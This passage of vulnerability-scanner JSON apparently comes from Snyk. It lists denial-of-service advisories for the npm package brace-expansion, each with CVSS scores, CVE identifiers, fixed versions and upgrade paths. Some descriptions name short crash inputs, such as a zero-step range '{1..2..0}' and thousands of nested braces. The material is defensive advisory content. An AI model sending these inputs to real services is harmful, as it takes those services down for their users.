"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/map-workspaces@4.0.2",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
